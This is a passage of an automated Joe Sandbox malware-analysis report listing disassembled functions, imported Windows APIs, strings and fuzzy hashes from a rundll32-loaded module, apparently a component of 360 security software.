Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: lstrcmpimemset
String ID: ShellEx\IconHandler$\DefaultIcon$clsid\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\${42042206-2D85-11D3-8CFF-005004838597}
API String ID: 3784069311-1340094651
Opcode ID: 0a12214a811aa3540a0b94e6fb55089740eaeb8575e012286690255a8f8d330d
Instruction ID: 9f0af0b831dc55336fcff299f0060eabbe44d87f67dffe850d980bb31fffbbb0
Opcode Fuzzy Hash: 0a12214a811aa3540a0b94e6fb55089740eaeb8575e012286690255a8f8d330d
Instruction Fuzzy Hash: 0251A672601E4982EB52DB29D8817DE6760FB897F4F508312FA6D436E5DF38C689C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800503B8 Relevance: 9.1, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000180050421
ExpandEnvironmentStringsW.KERNEL32 ref: 0000000180050458
EnterCriticalSection.KERNEL32 ref: 00000001800504D4
LeaveCriticalSection.KERNEL32 ref: 000000018005051D
ExpandEnvironmentStringsW.KERNEL32 ref: 0000000180050544
LeaveCriticalSection.KERNEL32 ref: 00000001800505AF

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$EnterEnvironmentExpandLeaveStrings
String ID:
API String ID: 3103530258-0
Opcode ID: 4711d94ae21e721216315d7d413d31c061a842b8496e77f250252f344626d692
Instruction ID: b0c21a69e9994dd49745b429a24057b93f4d6bf7018e4c24e81fb4468a7e2a6c
Opcode Fuzzy Hash: 4711d94ae21e721216315d7d413d31c061a842b8496e77f250252f344626d692
Instruction Fuzzy Hash: 0051AF32711A4882EB82CF29D8843DE7761F789BE8F549211FE69176A5DF39C64AC700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180066808 Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 114COMMON

Download Yara Rule

APIs

wcsstr.MSVCRT ref: 0000000180066883

Part of subcall function 0000000180066608: RegOpenKeyExW.ADVAPI32 ref: 0000000180066653
Part of subcall function 0000000180066608: RegQueryValueExW.ADVAPI32 ref: 0000000180066696
Part of subcall function 0000000180066608: RegCloseKey.ADVAPI32 ref: 00000001800666AA

Strings

"%s" %s, xrefs: 00000001800668D4
/elevated, xrefs: 0000000180066879

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CloseOpenQueryValuewcsstr
String ID: "%s" %s$/elevated
API String ID: 1248106594-1382985213
Opcode ID: 7d994b47a6feae35010406933b82370a9ece06ded3bcb5ee78e307a99859ddb1
Instruction ID: f3329ece6a2879d43efc8f52936060a6c90d44f89bf07b9cf1bbe3f09b4200fa
Opcode Fuzzy Hash: 7d994b47a6feae35010406933b82370a9ece06ded3bcb5ee78e307a99859ddb1
Instruction Fuzzy Hash: E241A432702B4489EB95CF65D8407DC33A5FB88BD4F15861AAE5E53BA4DF34C659C340

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180068954 Relevance: 9.1, APIs: 1, Strings: 5, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 000000018006A424: RegOpenKeyExW.ADVAPI32(?,?,?,?,00000000,0000000180068993,?,?,?,?,00000001,00000000,?,0000000180068D41), ref: 000000018006A44B

memset.MSVCRT ref: 00000001800689A4

Part of subcall function 000000018006A490: RegQueryValueExW.ADVAPI32(?,?,?,?,?,?,00000001800689D0,?,?,?,?,00000001,00000000,?,0000000180068D41), ref: 000000018006A4A9

Strings

ExpirationDate, xrefs: 0000000180068A4B
SignData, xrefs: 0000000180068A87
SOFTWARE\360MachineSignature, xrefs: 0000000180068980
Operator, xrefs: 00000001800689C1
IssueDate, xrefs: 0000000180068A07

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: OpenQueryValuememset
String ID: ExpirationDate$IssueDate$Operator$SOFTWARE\360MachineSignature$SignData
API String ID: 733315865-1479031278
Opcode ID: 024b379d581b3895d461dc1fafaaa22704cd15f8aacd44fa0de35045f287b812
Instruction ID: ca32e24e8d646fa6672ed224415891838e44a9bb2fa0ab3c5403e0472a1cb0df
Opcode Fuzzy Hash: 024b379d581b3895d461dc1fafaaa22704cd15f8aacd44fa0de35045f287b812
Instruction Fuzzy Hash: DA411972B00B149AFB92DBA5D8447DD73B5BB487C8F148A16AE6853B58EF34C708CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000D19C Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

??2@YAPEAX_K@Z.MSVCRT ref: 000000018000D22A
??2@YAPEAX_K@Z.MSVCRT ref: 000000018000D24F
memset.MSVCRT ref: 000000018000D270
memmove.MSVCRT ref: 000000018000D282
??3@YAXPEAX@Z.MSVCRT ref: 000000018000D2B8
memset.MSVCRT ref: 000000018000D2E4

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??2@memset$??3@memmove
String ID:
API String ID: 1691405456-0
Opcode ID: 898b7f6a28002f066823eb5036c047e985fc53dc141f5cbb7a005687aa805986
Instruction ID: 4c03d6f838081a40abf5c4ade735ff692b1a288c63e34611b63fa987e6e302c4
Opcode Fuzzy Hash: 898b7f6a28002f066823eb5036c047e985fc53dc141f5cbb7a005687aa805986
Instruction Fuzzy Hash: C7419F72311B9C81EA95CB65E5483AC73A5E748BE0F25C726AA7D07BD5DF38C289C310

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180052E84 Relevance: 9.1, APIs: 6, Instructions: 87networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000180052EE6
LeaveCriticalSection.KERNEL32 ref: 0000000180052F32
WSAStartup.WS2_32 ref: 0000000180052F68
WSCUnInstallNameSpace.WS2_32 ref: 0000000180052F85
WSAGetLastError.WS2_32 ref: 0000000180052F94

Part of subcall function 00000001800432C8: memset.MSVCRT ref: 0000000180043335

WSACleanup.WS2_32 ref: 0000000180052FA1

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$CleanupEnterErrorInstallLastLeaveNameSpaceStartupmemset
String ID:
API String ID: 3860525367-0
Opcode ID: 566063b2480ce26a8a1017dda99dddd59a3f866f59b7cd308274edefec3830af
Instruction ID: 37d746e663b56e28a6a3e394405e8b675d481f719bc3bdb0db42ce8d24bf20fd
Opcode Fuzzy Hash: 566063b2480ce26a8a1017dda99dddd59a3f866f59b7cd308274edefec3830af
Instruction Fuzzy Hash: 57316E31700A4886F6A29F25EC443E973A0FB8DBD5F548531B96A972A1DF39C7898700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180015128 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 327COMMON

Download Yara Rule

APIs

Part of subcall function 0000000180011110: RegOpenKeyExW.ADVAPI32 ref: 0000000180011234
Part of subcall function 0000000180011110: RegQueryValueExW.ADVAPI32 ref: 0000000180011270
Part of subcall function 0000000180011110: RegCloseKey.ADVAPI32 ref: 0000000180011280

EnterCriticalSection.KERNEL32 ref: 00000001800151CC
LeaveCriticalSection.KERNEL32 ref: 00000001800151EC
GetTickCount.KERNEL32 ref: 0000000180015203
GetTickCount.KERNEL32 ref: 000000018001523B

Strings

dfsu11yy38277*(*6fhjsdkfds, xrefs: 0000000180015256, 0000000180015323, 00000001800153ED, 0000000180015504, 0000000180015599

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CountCriticalSectionTick$CloseEnterLeaveOpenQueryValue
String ID: dfsu11yy38277*(*6fhjsdkfds
API String ID: 4271658480-2650022146
Opcode ID: 0bb96f617ef2d1086e71c411e54c36657af4b2cd300dcf6be980ec3523e171b7
Instruction ID: dce0af6b373f41b2cde99525f258e7f40e176b48fd2bd51a90361080345aed67
Opcode Fuzzy Hash: 0bb96f617ef2d1086e71c411e54c36657af4b2cd300dcf6be980ec3523e171b7
Instruction Fuzzy Hash: 1DE19932200A0896EB92DB65E8443DD67A1F78DBD8F908125FE9D4B7A5DF38C789C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180064338 Relevance: 9.1, APIs: 6, Instructions: 67fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000180064372
GetFileSize.KERNEL32 ref: 0000000180064394
GetFileSize.KERNEL32 ref: 00000001800643A2
ReadFile.KERNEL32 ref: 00000001800643DE
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180064406
CloseHandle.KERNEL32 ref: 000000018006440F

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: File$Size$CloseCreateHandleRead
String ID:
API String ID: 1601809017-0
Opcode ID: 6c38b284369adc8e8a95ca7bd81b2def578c31ecd07c0865210070f76e2fb98a
Instruction ID: 513f97a3dac13d024bc23301dce07c49bc5a225dcf8c593d0dc48b4e525c804c
Opcode Fuzzy Hash: 6c38b284369adc8e8a95ca7bd81b2def578c31ecd07c0865210070f76e2fb98a
Instruction Fuzzy Hash: 2E21803260475487E7819F2AE8443997BA1F788FD0F658225EF6547BA4DF38C64ACB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004CD44 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

??2@YAPEAX_K@Z.MSVCRT ref: 000000018004CDF5
??2@YAPEAX_K@Z.MSVCRT ref: 000000018004CE1A
??3@YAXPEAX@Z.MSVCRT ref: 000000018004D181

Strings

Catalog_Entries, xrefs: 000000018004CD48
Num_Catalog_Entries, xrefs: 000000018004CD4A

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??2@$??3@
String ID: Catalog_Entries$Num_Catalog_Entries
API String ID: 1245774677-781996053
Opcode ID: 6b8a8c89c4b699f957cd55a4368444c75396a5c1355a13cca8d488b9109841c6
Instruction ID: 9fcea3ce77e1ed4f5330bab62f44b4aa9bf918aefdaa2edac95f8aa4354510da
Opcode Fuzzy Hash: 6b8a8c89c4b699f957cd55a4368444c75396a5c1355a13cca8d488b9109841c6
Instruction Fuzzy Hash: E6C14132205F8481DAA1CF15F98039EB3A4F789BE4F598625EAED47B98CF38C155C744

Uniqueness

Uniqueness Score: -1.00%

Function 000000018004687C Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 248COMMON

Download Yara Rule

APIs

??3@YAXPEAX@Z.MSVCRT ref: 0000000180046A22
??2@YAPEAX_K@Z.MSVCRT ref: 0000000180046A67

Strings

Catalog_Entries, xrefs: 0000000180046922
Num_Catalog_Entries, xrefs: 0000000180046924

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ??2@??3@
String ID: Catalog_Entries$Num_Catalog_Entries
API String ID: 1936579350-781996053
Opcode ID: 37b5463f15d82ba4b2fcb730a9bc1d4a2b4fab43a6711b8c84a700227f9107d3
Instruction ID: d1be57a1d71c98b0b77dd863bddb056ffd98aca7a61043883bc55f1bcd24f70e
Opcode Fuzzy Hash: 37b5463f15d82ba4b2fcb730a9bc1d4a2b4fab43a6711b8c84a700227f9107d3
Instruction Fuzzy Hash: 46A1CB72B01F5882EA55DF25D98439C33A4E708BF8F1A8315EA68477E4EF34C69AC345

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180040418 Relevance: 8.9, APIs: 7, Instructions: 155sleepCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,00000040,?,000000018001107F), ref: 000000018004048F
LeaveCriticalSection.KERNEL32(?,?,?,?,00000040,?,000000018001107F), ref: 00000001800404A5
LeaveCriticalSection.KERNEL32(?,?,?,?,00000040,?,000000018001107F), ref: 00000001800404DD
EnterCriticalSection.KERNEL32(?,?,?,?,00000040,?,000000018001107F), ref: 0000000180040553
LeaveCriticalSection.KERNEL32(?,?,?,?,00000040,?,000000018001107F), ref: 0000000180040569
LeaveCriticalSection.KERNEL32(?,?,?,?,00000040,?,000000018001107F), ref: 00000001800405A1
Sleep.KERNEL32(?,?,?,?,00000040,?,000000018001107F), ref: 000000018004061C

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$Sleep
String ID:
API String ID: 950586405-0
Opcode ID: 5fd251fa728f84f380744b40e651b61ba74c7f1c4af02f91f8a7010bdfac5f08
Instruction ID: e5e3152c6d786b815c8bb063f8079f541e8d353448f2aaa10215c0b82b1e43f2
Opcode Fuzzy Hash: 5fd251fa728f84f380744b40e651b61ba74c7f1c4af02f91f8a7010bdfac5f08
Instruction Fuzzy Hash: E8618C31301A4892FAD69B21EC943DA23A4F78DBE9F66C515ED6A572A1CF38C74DC700

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010990 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115registryCOMMON

Download Yara Rule

APIs

RegCreateKeyW.ADVAPI32 ref: 0000000180010A0B
RegSetValueExW.ADVAPI32 ref: 0000000180010AF9
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180010B02
RegCloseKey.ADVAPI32 ref: 0000000180010B0C

Strings

360scan, xrefs: 00000001800109E5

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CloseCreateValue
String ID: 360scan
API String ID: 1818849710-2450673717
Opcode ID: 5bf155bf79df099cab00ad323e7c5f0b1ac545c6889d31c6f531c87adec6c7e2
Instruction ID: 36ede12e68d324247f48980037de7b94a87db2de9e86c0014956a12bc0703eb2
Opcode Fuzzy Hash: 5bf155bf79df099cab00ad323e7c5f0b1ac545c6889d31c6f531c87adec6c7e2
Instruction Fuzzy Hash: 4341B132714B9885F7928B75D8503DC2B70BB8CBE8F549215EEA953BA5DF78C24AC300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800671A0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 110COMMONLIBRARYCODE

Download Yara Rule

APIs

__crt_fast_encode_pointer.LIBVCRUNTIME ref: 0000000180067297
malloc.MSVCRT ref: 00000001800672B9
?terminate@@YAXXZ.MSVCRT ref: 0000000180067307
_CxxThrowException.MSVCRT ref: 0000000180067323

Strings

csm, xrefs: 000000018006722B

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ?terminate@@ExceptionThrow__crt_fast_encode_pointermalloc
String ID: csm
API String ID: 760693298-1018135373
Opcode ID: 39eb716e9be1fb63b9110d3c5425ec3b5de1197dc277d27b79cf19f29df3a86f
Instruction ID: 259617d04e03f410bbb53384dcf33072f4c9910d22c17cce453464633d750d07
Opcode Fuzzy Hash: 39eb716e9be1fb63b9110d3c5425ec3b5de1197dc277d27b79cf19f29df3a86f
Instruction Fuzzy Hash: CB41DD72310B4886DBA29F25E8807ADB3A2F748BC8F208016FB5D43B56CF38DA55C740

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008224 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 55registrylibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000000180008249
GetProcAddress.KERNEL32 ref: 0000000180008262
RegCreateKeyExW.ADVAPI32 ref: 00000001800082FB

Strings

Advapi32.dll, xrefs: 0000000180008242
RegCreateKeyTransactedW, xrefs: 0000000180008258

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressCreateHandleModuleProc
String ID: Advapi32.dll$RegCreateKeyTransactedW
API String ID: 1964897782-2994018265
Opcode ID: ad3fb016844a3b870c46d04542df6f296797cd153b096fbf22ac7f30fc2e7ae0
Instruction ID: ad22b3d90bad73cc844585d5212e8c39d9a41fcfaef769d6902fd1eabb8e997b
Opcode Fuzzy Hash: ad3fb016844a3b870c46d04542df6f296797cd153b096fbf22ac7f30fc2e7ae0
Instruction Fuzzy Hash: 77210C32619B8482EBA1CB55F8547AAB7A0F7C8BD4F149115EACD07B68CF7CC248CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000E2D8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 000000018000E31F
GetModuleFileNameW.KERNEL32 ref: 000000018000E341
PathAppendW.SHLWAPI ref: 000000018000E385

Strings

cloudcfg.dat, xrefs: 000000018000E379
..\Config\cloudcfg.dat, xrefs: 000000018000E350

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AppendFileModuleNamePathmemset
String ID: ..\Config\cloudcfg.dat$cloudcfg.dat
API String ID: 1620117007-2349577946
Opcode ID: 1df7031f83b1f1459874d000a77c3faa375f56ebc32878d2fd44ce6dffecdc51
Instruction ID: ddd92409ecb0ccec80f2ab3f904b9d803dc2e3fbc70a3a57e8900bd834cf0119
Opcode Fuzzy Hash: 1df7031f83b1f1459874d000a77c3faa375f56ebc32878d2fd44ce6dffecdc51
Instruction Fuzzy Hash: DD216F71204A8881EA91DB11E8443DE7360F78ABD9F90C211FA9947AE9DF7DC74DCB00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180074A30 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000000180074A58
GetProcAddress.KERNEL32 ref: 0000000180074A6E
FreeLibrary.KERNEL32 ref: 0000000180074A87

Strings

CorExitProcess, xrefs: 0000000180074A67
mscoree.dll, xrefs: 0000000180074A4F

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996253789.000000018016C000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c2f829957779a5f3283623a795060286876ebd1f64ff5d399dec1781f672f9f2
Instruction ID: e395451e8db6c2212d1c7d058d3e5d590d561a96988dee0adbc21a3ed47a46ec
Opcode Fuzzy Hash: c2f829957779a5f3283623a795060286876ebd1f64ff5d399dec1781f672f9f2
Instruction Fuzzy Hash: 3CF0903120070491EEA28B64A84439A2360FB8C7E1F548619E67A4A2F4CF3DC34DC300

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018AE8 Relevance: 7.7, APIs: 5, Instructions: 244COMMON

Download Yara Rule

APIs

Part of subcall function 000000018004388C: ??_V@YAXPEAX@Z.MSVCRT ref: 0000000180043AB7

??_V@YAXPEAX@Z.MSVCRT ref: 0000000180018C88
??_V@YAXPEAX@Z.MSVCRT ref: 0000000180018CA9

Part of subcall function 0000000180044250: EnterCriticalSection.KERNEL32 ref: 0000000180044280
Part of subcall function 0000000180044250: LeaveCriticalSection.KERNEL32 ref: 00000001800442BA

??_V@YAXPEAX@Z.MSVCRT ref: 0000000180018E36

Part of subcall function 0000000180042ADC: ??_V@YAXPEAX@Z.MSVCRT ref: 0000000180042B9A

Part of subcall function 0000000180018AE8: ??3@YAXPEAX@Z.MSVCRT ref: 0000000180018C64

Memory Dump Source

Source File: 00000006.00000002.1996045299.0000000180001000.00000020.00000001.01000000.00000000.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1996020387.0000000180000000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996194436.00000001800C5000.00000004.00000001.01000000.00000000.sdmpDownload File
Associated: 00000006.00000002.1996218459.00000001800C6000.00000008.00000001.01000000.00000000.sdmpDownload File
